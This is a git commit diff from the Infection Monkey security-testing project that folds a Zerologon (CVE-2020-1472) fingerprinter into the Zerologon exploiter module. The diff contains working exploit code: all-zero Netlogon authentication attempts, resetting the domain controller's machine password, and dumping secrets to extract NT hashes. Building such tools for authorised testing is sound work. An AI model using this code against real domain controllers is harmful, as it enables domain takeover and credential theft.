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Remove Zerologon fingerprinter (and move required functionality to Zerologon exploiter)

This commit is contained in:
Shreya 2021-02-19 22:14:15 +05:30
parent 869d608e09
commit c227ccd3a1
4 changed files with 89 additions and 159 deletions
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113
monkey/infection_monkey/exploit/zerologon.py
View File

@ -10,7 +10,8 @@ from binascii import unhexlify
from typing import Dict, List, Optional
import impacket
from impacket.dcerpc.v5 import nrpc
import nmb.NetBIOS
from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5.dtypes import NULL
from common.utils.exploit_enum import ExploitType
@ -19,9 +20,9 @@ from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import \
OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__)
@ -36,23 +37,16 @@ class ZerologonExploiter(HostExploiter):
def __init__(self, host: object):
super().__init__(host)
self.vulnerable_port = None
self.zerologon_finger = ZerologonFinger()
self.exploit_info['credentials'] = {}
self._extracted_creds = {}
def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details(self.host)
if self.is_exploitable():
is_exploitable, rpc_con = self.is_exploitable()
if is_exploitable:
LOG.info("Target vulnerable, changing account password to empty string.")
# Connect to the DC's Netlogon service.
try:
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False
# Start exploiting attempts.
LOG.debug("Attempting exploit.")
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
@ -60,8 +54,7 @@ class ZerologonExploiter(HostExploiter):
rpc_con.disconnect()
else:
LOG.info("Exploit not attempted. "
"Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.")
LOG.info("Exploit not attempted. Target is most likely patched, or an error was encountered.")
return False
# Restore DC's original password.
@ -76,14 +69,80 @@ class ZerologonExploiter(HostExploiter):
return _exploited
def is_exploitable(self) -> bool:
if self.zerologon_finger._SCANNED_SERVICE in self.host.services:
return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']
@staticmethod
def get_dc_details(host: object) -> (str, str, str):
dc_ip = host.ip_addr
dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip)
dc_handle = '\\\\' + dc_name
return dc_ip, dc_name, dc_handle
@staticmethod
def get_dc_name(dc_ip: str) -> str:
"""
Gets NetBIOS name of the Domain Controller (DC).
"""
try:
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None
return name[0] if name else ''
except BaseException as ex:
LOG.info(f'Exception: {ex}')
def is_exploitable(self) -> (bool, object):
# Connect to the DC's Netlogon service.
try:
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False, None
# Try authenticating.
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con_auth_result = self._try_zero_authenticate(rpc_con)
if rpc_con_auth_result is not None:
return True, rpc_con_auth_result
except Exception as ex:
LOG.info(ex)
return False, None
return False, None
@staticmethod
def connect_to_dc(dc_ip) -> object:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con
def _try_zero_authenticate(self, rpc_con: object) -> object:
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con, self.dc_handle + '\x00', self.dc_name + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, self.dc_handle + '\x00', self.dc_name +
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
self.dc_name + '\x00', ciphertext, flags
)
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle,
dc_ip=self.dc_ip,
dc_name=self.dc_name)
return is_vulnerable
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
except BaseException as ex:
raise Exception(f'Unexpected error: {ex}.')
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
# Max attempts = 2000. Expected average number of attempts needed: 256.
@ -96,7 +155,7 @@ class ZerologonExploiter(HostExploiter):
return False
def try_exploit_attempt(self, rpc_con):
def try_exploit_attempt(self, rpc_con) -> Optional[object]:
try:
exploit_attempt_result = self.attempt_exploit(rpc_con)
return exploit_attempt_result
@ -163,7 +222,7 @@ class ZerologonExploiter(HostExploiter):
# Connect to the DC's Netlogon service.
try:
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False
@ -207,7 +266,7 @@ class ZerologonExploiter(HostExploiter):
return user, self._extracted_creds[user]
except Exception as e:
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}")
return None
@ -221,7 +280,7 @@ class ZerologonExploiter(HostExploiter):
dumped_secrets = dumper.dump().split('\n')
return dumped_secrets
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict:
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None:
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
re_phrase =\
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
@ -407,11 +466,13 @@ class ZerologonExploiter(HostExploiter):
return rpc_con
def assess_restoration_attempt_result(self, restoration_attempt_result):
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
if restoration_attempt_result:
LOG.debug("DC machine account password should be restored to its original value.")
return True
return False
class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6

120
monkey/infection_monkey/network/zerologon_fingerprint.py
View File

@ -1,120 +0,0 @@
"""
Implementation from https://github.com/SecuraBV/CVE-2020-1472
"""
import logging
import nmb.NetBIOS
from impacket.dcerpc.v5 import epm, nrpc, transport
from infection_monkey.network.HostFinger import HostFinger
LOG = logging.getLogger(__name__)
class ZerologonFinger(HostFinger):
# Class related consts
MAX_ATTEMPTS = 2000
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
def get_host_fingerprint(self, host) -> bool:
"""
Checks if the Windows Server is vulnerable to Zerologon.
"""
dc_ip, dc_name, dc_handle = self._get_dc_details(host)
if dc_name: # if it is a Windows DC
# Keep authenticating until successful.
# Expected average number of attempts needed: 256.
# Approximate time taken by 2000 attempts: 40 seconds.
LOG.info('Performing Zerologon authentication attempts...')
auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name)
self.init_service(host.services, self._SCANNED_SERVICE, '')
if auth_successful:
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
return True
else:
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
return False
else:
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
return False
def _get_dc_details(self, host) -> (str, str, str):
dc_ip = host.ip_addr
dc_name = self._get_dc_name(dc_ip)
dc_handle = '\\\\' + dc_name
return dc_ip, dc_name, dc_handle
def _get_dc_name(self, dc_ip: str) -> str:
"""
Gets NetBIOS name of the Domain Controller (DC).
"""
try:
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None
return name[0] if name else ''
except BaseException as ex:
LOG.info(f'Exception: {ex}')
def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool:
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
if rpc_con is not None:
rpc_con.disconnect()
return True
except Exception as ex:
LOG.info(ex)
return False
return False
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
# Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(dc_ip)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', dc_name +
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
dc_name + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
except BaseException as ex:
raise Exception(f'Unexpected error: {ex}.')
def connect_to_dc(self, dc_ip: str) -> object:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con

10
monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py
View File

@ -71,16 +71,6 @@ FINGER_CLASSES = {
"safe": True,
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"ZerologonFinger"
],
"title": "ZerologonFinger",
"safe": True,
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
"attack_techniques": ["T1210"]
}
]
}

3
monkey/monkey_island/cc/services/config_schema/internal.py
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@ -222,8 +222,7 @@ INTERNAL = {
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger",
"ZerologonFinger"
"ElasticFinger"
]
}
}